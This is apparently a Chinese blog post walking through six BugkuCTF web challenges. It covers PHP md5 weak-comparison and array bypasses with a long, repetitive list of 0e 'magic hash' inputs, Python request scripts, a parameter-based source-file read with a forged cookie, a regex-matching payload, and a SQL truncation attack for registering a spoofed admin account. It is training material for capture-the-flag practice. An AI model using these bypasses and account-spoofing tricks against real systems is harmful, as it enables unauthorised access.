BugkuCTF

1.听说备份是个好习惯

访问时,有一串md5

d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e

解密说是空密码。

然后进行目录扫描,发现源码泄露。

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."获取flag";
}
?>
1. $str=str_replace('key','',$str) //replace替换  key会替换成空。使用kekeyy绕过
2. md5($key1)==md5($key2)       //key1 和key2的md5值要相同
3.  $key1!==$key2                  //key1和key2值要不相同

第一种

md5()函数无法处理数组,如果传入的为数组,会返回NULL

payload :http://123.206.87.240:8002/web16/?kkeyey1[]=1&kkeyey2[]=a

第二种

php弱类型绕过构造提交的值md5(),开头为0e

payload:http://123.206.87.240:8002/web16/?kkeyey1=s878926199a&kkeyey2=s155964671a

提供常用的php弱类型

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020<

 2.秋名山老司机(快速计算)

直接帖代码

import requests
import re
url='http://123.206.87.240:8002/qiumingshan/'
s=requests.Session()
r=s.get(url)
num=re.findall(r'<div>(.*)=',r.text)[0]
result=eval(num)
r=s.post(url,data={'value':result})
r.encoding='utf-8'
print (r.text)

 3.我感觉你的快点

查看源代码,让以post方法去访问。

查看数据包,看到有一个flag字段。base64去解码,发现是一串数字,然后使用给的参数加数字,使用post去访问。

直接上代码

import requests
import base64
import re

url = 'http://123.206.87.240:8002/web6/'
e=requests.Session()                                    //获取session。
s=e.get(url)                                                 //以get方式去请求
html=s.headers['flag']                                  //获取返回数据包中flag字段
q=base64.b64decode(base64.b64decode(html)[-8:])  
//第一次把flag中的字段进行base64解码,然后取解码后的后8位进行第二次base64解码
data={'margin':q}                                   //获取margin这个参数,
c=e.post(url,data = data)                        //使用post去请求
print(c.text)                                            //返回信息
    

 4.cookie欺骗

url:http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=  发现后面为base64。进行解码 为 key.txt  

然后把这个进行更换,为index.php  (开始尝试了flag.txt,没有东西) 发现有东西,然后修改line 这个参数,发现每更换一个数字就会返回不一样的结果。

利用脚本

import requests
for i in range(10):
    url='http://123.206.87.240:8002/web11/index.php?line={0}&filename=aW5kZXgucGhw'.format(i)
    r=requests.get(url)
    print (r.text)

获得代码

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){$file_list[2]='keys.php';}if(in_array($file, $file_list)){$fa = file($file);echo $fa[$line];}?>

 发现还有 cookie: margin=margin   && 访问keys.php  即可。

5.字符?正则?

打开网页发现有一串PHP

 <?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){ 
  die('key is: '.$key);
}
?> 

进行分析一下,通过 id 传参,并且要符合上面的正则表达式,key就会显示。

highlight_file  对文件进行语法高亮显示。
preg_match (要搜索的模式,字符串,参数) 在字符串里搜索符合 要搜索的模式 的字符,并返回给参数。

分析正则

.                                  匹配除 "\n" 之外的任何单个字符
.*                     就是单个字符匹配任意次,即贪婪匹配 {
4,7}                            最少匹配 4 次且最多匹配 7 次,结合前面的 . 也就是匹配 47 个任意字符 \/                                匹配 / ,这里的 \ 是为了转义 [a-z]                            匹配所有小写字母 [:punct:]                    匹配任何标点符号 /i                              表示不分大小写

由上构造payload。

?id=keykey1111key:/a/keya:

,得flag。

 <?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){ 
  die('key is: '.$key);
}
?>
key is: KEY{0x0SIOPh550afc}

 6.Login1(SKCTF)

题目提示:SQL约束攻击。(一脸懵逼,没见过。~~)

SQL约束攻击:

在sql执行字符串处理的时候,字符串末尾的空格符都会被删除,以下两个字符串结果相等,在数据库对字符串进行比较时,如果两个字符串的长度不一样,则会将较短的字符串末尾填充空格,使两个字符串的长度一致.
SELECT * FROM users WHERE username='test   '; 
SELECT
* FROM users WHERE username='test';

INSERT截断:这是数据库的另一个特性,当设计一个字段时,我们都必须对其设定一个最大长度,比如CHAR(10),VARCHAR(20)等等。但是当实际插入数据的长度超过限制时,数据库就会将其进行截断,只保留限定的长度。
说明注册'test'用户 和 'test '用户,由于截断,所有这个两个用户是一样的。
当不知道test用户密码的时候,我们可以创建一个'test '用户 密码‘123456’。在查询的时候会执行下面这条
SELECT username FROM users WHERE username='test' AND password='123456'

这里注册一个'admin     ',密码任意的账号。登录进去后显示flag。

posted @ 2019-01-03 15:42  G0mini  阅读(626)  评论(0编辑  收藏  举报